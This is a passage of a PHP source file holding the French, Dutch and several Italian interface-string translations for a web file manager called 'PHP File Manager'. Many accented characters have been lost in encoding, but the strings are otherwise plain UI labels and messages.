    $fr3['ServerInfo'] = 'Server Info';
    $fr3['CreateDir'] = 'Crer Rpertoire';
    $fr3['CreateArq'] = 'Crer Fichier';
    $fr3['ExecCmd'] = 'Executer Commande';
    $fr3['Upload'] = 'Upload';
    $fr3['UploadEnd'] = 'Upload Fini';
    $fr3['Perm'] = 'Perm';
    $fr3['Perms'] = 'Permissions';
    $fr3['Owner'] = 'Propritaire';
    $fr3['Group'] = 'Groupe';
    $fr3['Other'] = 'Autres';
    $fr3['Size'] = 'Taille';
    $fr3['Date'] = 'Date';
    $fr3['Type'] = 'Type';
    $fr3['Free'] = 'libre';
    $fr3['Shell'] = 'Shell';
    $fr3['Read'] = 'Lecture';
    $fr3['Write'] = 'Ecriture';
    $fr3['Exec'] = 'Execute';
    $fr3['Apply'] = 'Application';
    $fr3['StickyBit'] = 'Sticky Bit';
    $fr3['Pass'] = 'Password';
    $fr3['Lang'] = 'Language';
    $fr3['File'] = 'Fichier';
    $fr3['File_s'] = 'fichier(s)';
    $fr3['Dir_s'] = 'rpertoire(s)';
    $fr3['To'] = ' ';
    $fr3['Destination'] = 'Destination';
    $fr3['Configurations'] = 'Configurations';
    $fr3['JSError'] = 'Erreur JavaScript';
    $fr3['NoSel'] = 'Aucun lment slectionn';
    $fr3['SelDir'] = "Slectionner le rpertoire de destination dans l'arboresence de gauchethe destination directory on the left tree";
    $fr3['TypeDir'] = 'Indiquer le nom du rpertoire';
    $fr3['TypeArq'] = 'Indiquer le nom du fichier';
    $fr3['TypeCmd'] = 'Entrer une commande';
    $fr3['TypeArqComp'] = "Indiquer le nom du fichier.\\nL'extension dfinira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip";
    $fr3['RemSel'] = "SUPPRIMER l'lment slectionn";
    $fr3['NoDestDir'] = "Il n'y a pas de rpertoire destination slectionn";
    $fr3['DestEqOrig'] = 'Rpertoire Origine et Destination sont identiques';
    $fr3['InvalidDest'] = 'Le rpertoire de destination est invalide';
    $fr3['NoNewPerm'] = 'Nouvelle permission non applique';
    $fr3['CopyTo'] = 'COPIER vers';
    $fr3['MoveTo'] = 'DEPLACER vers';
    $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers';
    $fr3['ConfExec'] = 'Confirmer EXECUTION';
    $fr3['ConfRem'] = 'Confirmer SUPPRESSION';
    $fr3['EmptyDir'] = 'Rpertoire vide';
    $fr3['IOError'] = 'Erreur entre/sortie';
    $fr3['FileMan'] = 'PHP File Manager';
    $fr3['TypePass'] = 'Saisir le mot de passe';
    $fr3['InvPass'] = 'Mot de passe invalide';
    $fr3['ReadDenied'] = 'Accs en lecture refus';
    $fr3['FileNotFound'] = 'Fichier non trouv';
    $fr3['AutoClose'] = 'Fermeture en fin de traitement';
    $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT';
    $fr3['NoCmd'] = 'Erreur : Commande non renseigne';
    $fr3['ConfTrySave'] = "Fichier sans permission d'criture.\\nTenter de sauver malgr tout";
    $fr3['ConfSaved'] = 'Configurations sauvegarde';
    $fr3['PassSaved'] = 'Password sauvegard';
    $fr3['FileDirExists'] = 'Fichier ou rpertoire dj  existant';
    $fr3['NoPhpinfo'] = 'Fonction phpinfo disactive';
    $fr3['NoReturn'] = 'pas de retour';
    $fr3['FileSent'] = 'Fichier envoy';
    $fr3['SpaceLimReached'] = 'Capacit maximale atteinte';
    $fr3['InvExt'] = 'Extension invalide';
    $fr3['FileNoOverw'] = 'Fichier ne pouvant tre remplac';
    $fr3['FileOverw'] = 'Fichier remplac';
    $fr3['FileIgnored'] = 'Fichier ignor';
    $fr3['ChkVer'] = 'Vrifier nouvelle version';
    $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le tlchargement !';
    $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :(';
    $fr3['ChkVerError'] = 'Erreur de connection.';
    $fr3['Website'] = 'Site Web';
    $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter";
    $fr3['NoFileSel'] = 'Pas de fichier slectionn';
    $fr3['SelAll'] = 'Tous';
    $fr3['SelNone'] = 'Aucun';
    $fr3['SelInverse'] = 'Inverser';
    $fr3['Selected_s'] = 'slectionn';
    $fr3['Total'] = 'total';
    $fr3['Partition'] = 'Partition';
    $fr3['RenderTime'] = 'Temps ncessaire pour obtenir cette page';
    $fr3['Seconds'] = 'sec';
    $fr3['ErrorReport'] = 'Erreur de compte rendu';

	// Dutch - by Leon Buijs
	$nl['Version'] = 'Versie';
	$nl['DocRoot'] = 'Document Root';
	$nl['FLRoot'] = 'File Manager Root';
	$nl['Name'] = 'Naam';
	$nl['And'] = 'en';
	$nl['Enter'] = 'Enter';
	$nl['Send'] = 'Verzend';
	$nl['Refresh'] = 'Vernieuw';
	$nl['SaveConfig'] = 'Configuratie opslaan';
	$nl['SavePass'] = 'Wachtwoord opslaan';
	$nl['SaveFile'] = 'Bestand opslaan';
	$nl['Save'] = 'Opslaan';
	$nl['Leave'] = 'Verlaten';
	$nl['Edit'] = 'Wijzigen';
	$nl['View'] = 'Toon';
	$nl['Config'] = 'Configuratie';
	$nl['Ren'] = 'Naam wijzigen';
	$nl['Rem'] = 'Verwijderen';
	$nl['Compress'] = 'Comprimeren';
	$nl['Decompress'] = 'Decomprimeren';
	$nl['ResolveIDs'] = 'Resolve IDs';
	$nl['Move'] = 'Verplaats';
	$nl['Copy'] = 'Kopieer';
	$nl['ServerInfo'] = 'Serverinformatie';
	$nl['CreateDir'] = 'Nieuwe map';
	$nl['CreateArq'] = 'Nieuw bestand';
	$nl['ExecCmd'] = 'Commando uitvoeren';
	$nl['Upload'] = 'Upload';
	$nl['UploadEnd'] = 'Upload voltooid';
    $nl['Perm'] = 'Rechten';
	$nl['Perms'] = 'Rechten';
	$nl['Owner'] = 'Eigenaar';
	$nl['Group'] = 'Groep';
	$nl['Other'] = 'Anderen';
	$nl['Size'] = 'Grootte';
	$nl['Date'] = 'Datum';
	$nl['Type'] = 'Type';
	$nl['Free'] = 'free';
	$nl['Shell'] = 'Shell';
	$nl['Read'] = 'Lezen';
	$nl['Write'] = 'Schrijven';
	$nl['Exec'] = 'Uitvoeren';
	$nl['Apply'] = 'Toepassen';
	$nl['StickyBit'] = 'Sticky Bit';
	$nl['Pass'] = 'Wachtwoord';
	$nl['Lang'] = 'Taal';
	$nl['File'] = 'Bestand';
	$nl['File_s'] = 'bestand(en)';
	$nl['Dir_s'] = 'map(pen)';
	$nl['To'] = 'naar';
	$nl['Destination'] = 'Bestemming';
	$nl['Configurations'] = 'Instellingen';
	$nl['JSError'] = 'Javascriptfout';
	$nl['NoSel'] = 'Er zijn geen bestanden geselecteerd';
	$nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant';
	$nl['TypeDir'] = 'Voer de mapnaam in';
	$nl['TypeArq'] = 'Voer de bestandsnaam in';
	$nl['TypeCmd'] = 'Voer het commando in';
	$nl['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
	$nl['RemSel'] = 'VERWIJDER geselecteerde itens';
	$nl['NoDestDir'] = 'Er is geen doelmap geselecteerd';
	$nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde';
	$nl['InvalidDest'] = 'Doelmap is ongeldig';
	$nl['NoNewPerm'] = 'Nieuwe rechten niet geset';
	$nl['CopyTo'] = 'KOPIEER naar';
	$nl['MoveTo'] = 'VERPLAATS naar';
	$nl['AlterPermTo'] = 'VERANDER RECHTEN in';
	$nl['ConfExec'] = 'Bevestig UITVOEREN';
	$nl['ConfRem'] = 'Bevestig VERWIJDEREN';
	$nl['EmptyDir'] = 'Lege map';
	$nl['IOError'] = 'I/O Error';
	$nl['FileMan'] = 'PHP File Manager';
	$nl['TypePass'] = 'Voer het wachtwoord in';
	$nl['InvPass'] = 'Ongeldig wachtwoord';
	$nl['ReadDenied'] = 'Leestoegang ontzegd';
	$nl['FileNotFound'] = 'Bestand niet gevonden';
	$nl['AutoClose'] = 'Sluit na voltooien';
	$nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT';
	$nl['NoCmd'] = 'Error: Command not informed';
	$nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier';
	$nl['ConfSaved'] = 'Instellingen opgeslagen';
	$nl['PassSaved'] = 'Wachtwoord opgeslagen';
	$nl['FileDirExists'] = 'Bestand of map bestaat al';
	$nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld';
	$nl['NoReturn'] = 'no return';
	$nl['FileSent'] = 'Bestand verzonden';
	$nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt';
	$nl['InvExt'] = 'Ongeldige extensie';
	$nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven';
	$nl['FileOverw'] = 'Bestand overgeschreven';
	$nl['FileIgnored'] = 'Bestand genegeerd';
	$nl['ChkVer'] = 'Controleer nieuwe versie';
	$nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten';
	$nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar';
	$nl['ChkVerError'] = 'Verbindingsfout.';
	$nl['Website'] = 'Website';
	$nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...';
	$nl['NoFileSel'] = 'Geen bestanden geselecteerd';
	$nl['SelAll'] = 'Alles';
	$nl['SelNone'] = 'Geen';
	$nl['SelInverse'] = 'Keer om';
	$nl['Selected_s'] = 'geselecteerd';
	$nl['Total'] = 'totaal';
	$nl['Partition'] = 'Partitie';
	$nl['RenderTime'] = 'Tijd voor maken van deze pagina';
	$nl['Seconds'] = 'sec';
	$nl['ErrorReport'] = 'Foutenrapport';

    // Italian - by Valerio Capello
    $it1['Version'] = 'Versione';
    $it1['DocRoot'] = 'Document Root';
    $it1['FLRoot'] = 'File Manager Root';
    $it1['Name'] = 'Nome';
    $it1['And'] = 'e';
    $it1['Enter'] = 'Immetti';
    $it1['Send'] = 'Invia';
    $it1['Refresh'] = 'Aggiorna';
    $it1['SaveConfig'] = 'Salva la Configurazione';
    $it1['SavePass'] = 'Salva la Password';
    $it1['SaveFile'] = 'Salva il File';
    $it1['Save'] = 'Salva';
    $it1['Leave'] = 'Abbandona';
    $it1['Edit'] = 'Modifica';
    $it1['View'] = 'Guarda';
    $it1['Config'] = 'Configurazione';
    $it1['Ren'] = 'Rinomina';
    $it1['Rem'] = 'Elimina';
    $it1['Compress'] = 'Comprimi';
    $it1['Decompress'] = 'Decomprimi';
    $it1['ResolveIDs'] = 'Risolvi IDs';
    $it1['Move'] = 'Sposta';
    $it1['Copy'] = 'Copia';
    $it1['ServerInfo'] = 'Informazioni sul Server';
    $it1['CreateDir'] = 'Crea Directory';
    $it1['CreateArq'] = 'Crea File';
    $it1['ExecCmd'] = 'Esegui Comando';
    $it1['Upload'] = 'Carica';
    $it1['UploadEnd'] = 'Caricamento terminato';
    $it1['Perm'] = 'Perm';
    $it1['Perms'] = 'Permessi';
    $it1['Owner'] = 'Proprietario';
    $it1['Group'] = 'Gruppo';
    $it1['Other'] = 'Altri';
    $it1['Size'] = 'Dimensioni';
    $it1['Date'] = 'Data';
    $it1['Type'] = 'Tipo';
    $it1['Free'] = 'liberi';
    $it1['Shell'] = 'Shell';
    $it1['Read'] = 'Lettura';
    $it1['Write'] = 'Scrittura';
    $it1['Exec'] = 'Esecuzione';
    $it1['Apply'] = 'Applica';
    $it1['StickyBit'] = 'Sticky Bit';
    $it1['Pass'] = 'Password';
    $it1['Lang'] = 'Lingua';
    $it1['File'] = 'File';
    $it1['File_s'] = 'file';
    $it1['Dir_s'] = 'directory';
    $it1['To'] = 'a';
    $it1['Destination'] = 'Destinazione';
    $it1['Configurations'] = 'Configurazione';
    $it1['JSError'] = 'Errore JavaScript';
    $it1['NoSel'] = 'Non ci sono elementi selezionati';
    $it1['SelDir'] = 'Scegli la directory di destinazione';
    $it1['TypeDir'] = 'Inserisci il nome della directory';
    $it1['TypeArq'] = 'Inserisci il nome del file';
    $it1['TypeCmd'] = 'Inserisci il comando';
    $it1['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definir  il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $it1['RemSel'] = 'ELIMINA gli elementi selezionati';
    $it1['NoDestDir'] = 'LA directory di destinazione non  stata selezionata';
    $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa';
    $it1['InvalidDest'] = 'La directory di destinazione non  valida';
    $it1['NoNewPerm'] = 'Nuovi permessi non attivati';
    $it1['CopyTo'] = 'COPIA in';
    $it1['MoveTo'] = 'SPOSTA in';
    $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: ';
    $it1['ConfExec'] = 'Conferma ESECUZIONE';
    $it1['ConfRem'] = 'Conferma ELIMINAZIONE';
    $it1['EmptyDir'] = 'Directory vuota';
    $it1['IOError'] = 'Errore di I/O';
    $it1['FileMan'] = 'PHP File Manager';
    $it1['TypePass'] = 'Immetti la password';
    $it1['InvPass'] = 'Password non valida';
    $it1['ReadDenied'] = 'Permesso di lettura negato';
    $it1['FileNotFound'] = 'File non trovato';
    $it1['AutoClose'] = 'Chiudi la finestra al termine';
    $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
    $it1['NoCmd'] = 'Errore: Comando non informato';
    $it1['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque';
    $it1['ConfSaved'] = 'Configurazione salvata';
    $it1['PassSaved'] = 'Password salvata';
    $it1['FileDirExists'] = 'Il file o la directory esiste gi ';
    $it1['NoPhpinfo'] = 'La funzione phpinfo  disabilitata';
    $it1['NoReturn'] = 'senza Return';
    $it1['FileSent'] = 'File inviato';
    $it1['SpaceLimReached'] = ' stato raggiunto il limite di spazio disponibile';
    $it1['InvExt'] = 'Estensione non valida';
    $it1['FileNoOverw'] = 'Il file non pu essere sovrascritto';
    $it1['FileOverw'] = 'File sovrascritto';
    $it1['FileIgnored'] = 'File ignorato';
    $it1['ChkVer'] = 'Controlla se  disponibile una nuova versione';
    $it1['ChkVerAvailable'] = ' disponibile una nuova versione: premi qui per scaricarla.';
    $it1['ChkVerNotAvailable'] = 'Non  disponibile nessuna nuova versione. :(';
    $it1['ChkVerError'] = 'Errore di connessione.';
    $it1['Website'] = 'Sito Web';
    $it1['SendingForm'] = 'Invio file, attendere prego';
    $it1['NoFileSel'] = 'Nessun file selezionato';
    $it1['SelAll'] = 'Tutti';
    $it1['SelNone'] = 'Nessuno';
    $it1['SelInverse'] = 'Inverti';
    $it1['Selected_s'] = 'selezionato';
    $it1['Total'] = 'totali';
    $it1['Partition'] = 'Partizione';
    $it1['RenderTime'] = 'Tempo per elaborare questa pagina';
    $it1['Seconds'] = 'sec';
    $it1['ErrorReport'] = 'Error Reporting';

    // Italian - by Federico Corr 
    $it2['Version'] = 'Versione';
    $it2['DocRoot'] = 'Root Documenti';
    $it2['FLRoot'] = 'Root del File Manager';
    $it2['Name'] = 'Nome';
    $it2['And'] = 'e';
    $it2['Enter'] = 'Invio';
    $it2['Send'] = 'Spedisci';
    $it2['Refresh'] = 'Aggiorna';
    $it2['SaveConfig'] = 'Salva configurazioni';
    $it2['SavePass'] = 'Salva password';
    $it2['SaveFile'] = 'Salva file';
    $it2['Save'] = 'Salva';
    $it2['Leave'] = 'Esci';
    $it2['Edit'] = 'Modifica';
    $it2['View'] = 'Visualizza';
    $it2['Config'] = 'Configura';
    $it2['Ren'] = 'Rinomina';
    $it2['Rem'] = 'Cancella';
    $it2['Compress'] = 'Comprimi';
    $it2['Decompress'] = 'Decomprimi';
    $it2['ResolveIDs'] = 'Risolvi ID';
    $it2['Move'] = 'Muovi';
    $it2['Copy'] = 'Copia';
    $it2['ServerInfo'] = 'Server info';
    $it2['CreateDir'] = 'Crea cartella';
    $it2['CreateArq'] = 'Crea file';
    $it2['ExecCmd'] = 'Esegui comando';
    $it2['Upload'] = 'Upload';
    $it2['UploadEnd'] = 'Upload terminato';
    $it2['Perm'] = 'Perm';
    $it2['Perms'] = 'Permessi';
    $it2['Owner'] = 'Owner';
    $it2['Group'] = 'Grouppo';
    $it2['Other'] = 'Altro';
    $it2['Size'] = 'Dimensione';
    $it2['Date'] = 'Data';
    $it2['Type'] = 'Tipo';
    $it2['Free'] = 'liberi';
    $it2['Shell'] = 'Shell';
    $it2['Read'] = 'Lettura';
    $it2['Write'] = 'Scrittura';
    $it2['Exec'] = 'Esecuzione';
    $it2['Apply'] = 'Applica';
    $it2['StickyBit'] = 'Sticky Bit';
    $it2['Pass'] = 'Password';
    $it2['Lang'] = 'Lingua';
    $it2['File'] = 'File';
    $it2['File_s'] = 'file';
    $it2['Dir_s'] = 'cartella';
    $it2['To'] = 'a';
    $it2['Destination'] = 'Destinazione';
    $it2['Configurations'] = 'Configurazioni';
    $it2['JSError'] = 'Errore JavaScript';
    $it2['NoSel'] = 'Nessun item selezionato';
    $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra';
    $it2['TypeDir'] = 'Inserisci il nome della cartella';
    $it2['TypeArq'] = 'Inserisci il nome del file';
    $it2['TypeCmd'] = 'Inserisci il comando';
    $it2['TypeArqComp'] = 'Inserisci il nome del file.\\nL\'estensione definir  le modalit  di compressione.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $it2['RemSel'] = 'ELIMINA gli item selezionati';
    $it2['NoDestDir'] = 'Non  stata selezionata la cartella di destinazione';
    $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono';
    $it2['InvalidDest'] = 'La cartella di destinazione non  valida';
    $it2['NoNewPerm'] = 'Nuovo permesso non definito';
    $it2['CopyTo'] = 'COPIA in';
    $it2['MoveTo'] = 'MUOVI in';
    $it2['AlterPermTo'] = 'CAMBIA PERMESSI in';
    $it2['ConfExec'] = 'Conferma ESECUZIONE';
    $it2['ConfRem'] = 'Conferma CANCELLA';
    $it2['EmptyDir'] = 'Cartella Vuota';
    $it2['IOError'] = 'Errore I/O';
    $it2['FileMan'] = 'PHP File Manager';
    $it2['TypePass'] = 'Inserisci la password';
    $it2['InvPass'] = 'Password non valida';
    $it2['ReadDenied'] = 'Accesso in lettura non consentito';
    $it2['FileNotFound'] = 'File non trovato';
    $it2['AutoClose'] = 'Chiudi dopo aver completato';
    $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT';
    $it2['NoCmd'] = 'Errore: comando non informato';
    $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.\\nProva a salvare comunque';
    $it2['ConfSaved'] = 'Configurazioni salvate';
    $it2['PassSaved'] = 'Password salvate';
    $it2['FileDirExists'] = 'Il file o la cartella esiste gi ';
    $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
    $it2['NoReturn'] = 'Nessun ritorno';
    $it2['FileSent'] = 'File spedito';
    $it2['SpaceLimReached'] = 'Limite di spazio raggiunto';
    $it2['InvExt'] = 'Estensione non valida';
    $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto';
    $it2['FileOverw'] = 'File sovrascritto';
    $it2['FileIgnored'] = 'File ignorato';
    $it2['ChkVer'] = 'Check nuova versione';
    $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!';
    $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
    $it2['ChkVerError'] = 'Errore di connessione.';
    $it2['Website'] = 'Sito Web';
    $it2['SendingForm'] = 'Invio file, prego attendi';
    $it2['NoFileSel'] = 'Nessun file selezionato';
    $it2['SelAll'] = 'Tutti';
    $it2['SelNone'] = 'Nessuno';
    $it2['SelInverse'] = 'Inverti';
    $it2['Selected_s'] = 'selezionati';
    $it2['Total'] = 'totale';
    $it2['Partition'] = 'Partizione';
    $it2['RenderTime'] = 'Tempo per renderizzare questa pagina';
    $it2['Seconds'] = 'sec';
    $it2['ErrorReport'] = 'Report errori';

    // Italian - by Luca Zorzi
    $it3['Version'] = 'Versione';
    $it3['DocRoot'] = 'Document Root';
    $it3['FLRoot'] = 'Root del File Manager';
    $it3['Name'] = 'Nome';
    $it3['And'] = 'e';
    $it3['Enter'] = 'Invio';
    $it3['Send'] = 'Invia';
    $it3['Refresh'] = 'Aggiorna';
    $it3['SaveConfig'] = 'Salva le impostazioni';
    $it3['SavePass'] = 'Salva la Password';
    $it3['SaveFile'] = 'Salva il File';
    $it3['Save'] = 'Salva';
    $it3['Leave'] = 'Annulla';
    $it3['Edit'] = 'Modifica';
    $it3['View'] = 'Guarda';
    $it3['Config'] = 'Impostazioni';
    $it3['Ren'] = 'Rinomina';
    $it3['Rem'] = 'Elimina';
    $it3['Compress'] = 'Comprimi';
    $it3['Decompress'] = 'Decomprimi';
    $it3['ResolveIDs'] = 'Risolvi ID';
    $it3['Move'] = 'Sposta';
    $it3['Copy'] = 'Copia';
    $it3['ServerInfo'] = 'Server Info';
    $it3['CreateDir'] = 'Crea Cartella';
    $it3['CreateArq'] = 'Crea File';
    $it3['ExecCmd'] = 'Esegui Comando';
    $it3['Upload'] = 'Upload';
    $it3['UploadEnd'] = 'Upload completato';
    $it3['Perm'] = 'Perm';
    $it3['Perms'] = 'Permessi';
    $it3['Owner'] = 'Proprietario';
    $it3['Group'] = 'Gruppo';
    $it3['Other'] = 'Altri';
    $it3['Size'] = 'Dimensione';
    $it3['Date'] = 'Data';
    $it3['Type'] = 'Tipo';
    $it3['Free'] = 'libero';
    $it3['Shell'] = 'Shell';
    $it3['Read'] = 'Lettura';
    $it3['Write'] = 'Scruttura';
    $it3['Exec'] = 'Esecuzione';
    $it3['Apply'] = 'Applica';
    $it3['StickyBit'] = 'Bit Sticky';
    $it3['Pass'] = 'Password';
    $it3['Lang'] = 'Lingua';
    $it3['File'] = 'File';
    $it3['File_s'] = 'file';
    $it3['Dir_s'] = 'cartella/e';
    $it3['To'] = 'a';
    $it3['Destination'] = 'Destinazione';
    $it3['Configurations'] = 'Configurazioni';
    $it3['JSError'] = 'Errore JavaScript';
    $it3['NoSel'] = 'Non ci sono elementi selezioneti';
    $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra';
    $it3['TypeDir'] = 'Inserisci il nome della cartella';
    $it3['TypeArq'] = 'Inserisci il nome del file';
    $it3['TypeCmd'] = 'Inserisci il comando';
    $it3['TypeArqComp'] = 'Inserisci il nome del file.\\nIl nome definir &agrave; il tipo della compressione .\\nEs:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
    $it3['RemSel'] = 'ELIMINA gli elementi selezionati';
    $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione';
    $it3['DestEqOrig'] = 'La cartella di origine e destinazione &egrave; la stessa';
    $it3['InvalidDest'] = 'La cartella di destinazione non &egrave; valida';
    $it3['NoNewPerm'] = 'Nuovi permessi non impostati';
    $it3['CopyTo'] = 'COPIA in';
    $it3['MoveTo'] = 'SPOSTA in';
    $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a';
    $it3['ConfExec'] = 'Conferma ESECUZIONE';
    $it3['ConfRem'] = 'Conferma ELIMINAZIONE';
    $it3['EmptyDir'] = 'CArtella vuota';
    $it3['IOError'] = 'Errore di I/O';
    $it3['FileMan'] = 'PHP File Manager';
    $it3['TypePass'] = 'Inserisci la password';
    $it3['InvPass'] = 'Password errata';
    $it3['ReadDenied'] = 'Accesso in lettura negato';
    $it3['FileNotFound'] = 'File non trovato';
    $it3['AutoClose'] = 'Chiudi alla fine';
    $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT';
    $it3['NoCmd'] = 'Errore: Comando non informato';
    $it3['ConfTrySave'] = 'File senza il permesso di scrittura.\\nProvare a salvarlo comunque';
    $it3['ConfSaved'] = 'Configurazione salvata';
    $it3['PassSaved'] = 'Password salvata';
    $it3['FileDirExists'] = 'Il file o la cartella esiste gi&agrave;';
    $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
    $it3['NoReturn'] = 'no return';
    $it3['FileSent'] = 'File inviato';
    $it3['SpaceLimReached'] = 'Limite di spazio raggiunto';
    $it3['InvExt'] = 'Estensione non valida';
    $it3['FileNoOverw'] = 'Il file non pu&ograve; essere sovrascritto';
    $it3['FileOverw'] = 'File sovrascritto';
    $it3['FileIgnored'] = 'File ignorato';
    $it3['ChkVer'] = 'Controlla la presnza di una nuova versione';
    $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!';
    $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :(';
    $it3['ChkVerError'] = 'Errore di connessione.';
    $it3['Website'] = 'Sito';
    $it3['SendingForm'] = 'Invio dei file, attendi';
    $it3['NoFileSel'] = 'Nessun file selezionato';
    $it3['SelAll'] = 'Tutti';
    $it3['SelNone'] = 'Nessuno';
    $it3['SelInverse'] = 'Inverti selezione';
    $it3['Selected_s'] = 'selezionato';
    $it3['Total'] = 'totale';
    $it3['Partition'] = 'Partizione';
    $it3['RenderTime'] = 'Tempo di generazione';
    $it3['Seconds'] = 'sec';
    $it3['ErrorReport'] = 'Error Reporting';

	// Italian - by Gianni
    $it4['Version'] = 'Versione';
    $it4['DocRoot'] = 'Root documenti';
    $it4['FLRoot'] = 'Root file manager';
    $it4['Name'] = 'Nome';
    $it4['And'] = 'e';
    $it4['Enter'] = 'Entra';
    $it4['Send'] = 'Invia';
    $it4['Refresh'] = 'Aggiorna';
    $it4['SaveConfig'] = 'Salva configurazioni';
    $it4['SavePass'] = 'Salva password';
    $it4['SaveFile'] = 'Salva file';
    $it4['Save'] = 'Salva';
    $it4['Leave'] = 'Esci';
    $it4['Edit'] = 'Modifica';
    $it4['View'] = 'Vedi';
    $it4['Config'] = 'Preferenze';
    $it4['Ren'] = 'Rinomina';
    $it4['Rem'] = 'Cancella';
    $it4['Compress'] = 'Comprimi';
    $it4['Decompress'] = 'Decomprimi';
    $it4['ResolveIDs'] = 'Risolvi IDs';
    $it4['Move'] = 'Sposta';
    $it4['Copy'] = 'Copia';
    $it4['ServerInfo'] = 'Versione PHP';
    $it4['CreateDir'] = 'Crea directory';
    $it4['CreateArq'] = 'Crea file';
    $it4['ExecCmd'] = 'Esegui comando';
    $it4['Upload'] = 'Upload';
    $it4['UploadEnd'] = 'Upload terminato';
    $it4['Perm'] = 'Perm';
    $it4['Perms'] = 'Permessi';
    $it4['Owner'] = 'Proprietario';
    $it4['Group'] = 'Gruppo';
    $it4['Other'] = 'Altro';
    $it4['Size'] = 'Dimensione';
    $it4['Date'] = 'Data';
    $it4['Type'] = 'Tipo';
    $it4['Free'] = 'liberi';
    $it4['Shell'] = 'Shell';
    $it4['Read'] = 'Lettura';
    $it4['Write'] = 'Scrittura';
    $it4['Exec'] = 'Esecuzione';
    $it4['Apply'] = 'Applica';
    $it4['StickyBit'] = 'Sticky Bit';
    $it4['Pass'] = 'Password';
    $it4['Lang'] = 'Lingua';
    $it4['File'] = 'File';
    $it4['File_s'] = 'files';
    $it4['Dir_s'] = 'directory';
    $it4['To'] = 'in';
    $it4['Destination'] = 'Destinazione';
    $it4['Configurations'] = 'Preferenze';
    $it4['JSError'] = 'Errore JavaScript';
    $it4['NoSel'] = 'Non ci sono elementi selezionati';
    $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra';
    $it4['TypeDir'] = 'Inserisci il nome della directory';
    $it4['TypeArq'] = 'Inserisci il nome del file';
    $it4['TypeCmd'] = 'Inserisci il comando';
    $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione\\n(.Zip .Tar .Bzip .Gzip)';
    $it4['RemSel'] = 'Cancella gli elementi selezionati';
    $it4['NoDestDir'] = 'Seleziona una directory di destinazione';
    $it4['DestEqOrig'] = 'Origine e destinazione sono uguali';
    $it4['InvalidDest'] = 'Directory di destinazione non valida';
    $it4['NoNewPerm'] = 'Nuovi permessi non impostati';
    $it4['CopyTo'] = 'Copia in';
    $it4['MoveTo'] = 'Sposta in';
    $it4['AlterPermTo'] = 'Cambia permessi in';
    $it4['ConfExec'] = 'Conferma esecuzione';
    $it4['ConfRem'] = 'Conferma eliminazione';
    $it4['EmptyDir'] = 'Directory Vuota';
    $it4['IOError'] = 'Errore I/O';
    $it4['FileMan'] = 'PHP File Manager';
    $it4['TypePass'] = 'Inserisci la password';
    $it4['InvPass'] = 'Password non valida';
    $it4['ReadDenied'] = 'Accesso in lettura negato';
    $it4['FileNotFound'] = 'File non trovato';
    $it4['AutoClose'] = 'Chiudi al termine';
    $it4['OutDocRoot'] = 'File fuori dalla Root documenti';
    $it4['NoCmd'] = 'Errore: comando non informato';
    $it4['ConfTrySave'] = 'File senza permessi di scrittura.\\nRiprova a salvare';
    $it4['ConfSaved'] = 'Preferenze salvate';
    $it4['PassSaved'] = 'Password salvata';
    $it4['FileDirExists'] = 'Il file o la directory esistono gi ';
    $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata';
    $it4['NoReturn'] = 'Nessun ritorno';
    $it4['FileSent'] = 'File inviato';
    $it4['SpaceLimReached'] = 'Raggiunto spazio limite';
    $it4['InvExt'] = 'Estensione non valida';
    $it4['FileNoOverw'] = 'Il file non pu essere sovrascritto';
    $it4['FileOverw'] = 'File sovrascritto';
    $it4['FileIgnored'] = 'File ignorato';
    $it4['ChkVer'] = 'Controlla aggiornamenti';
    $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!';
    $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione';
    $it4['ChkVerError'] = 'Errore di connessione';
    $it4['Website'] = 'Sito';
    $it4['SendingForm'] = 'Invio files, attendere...';
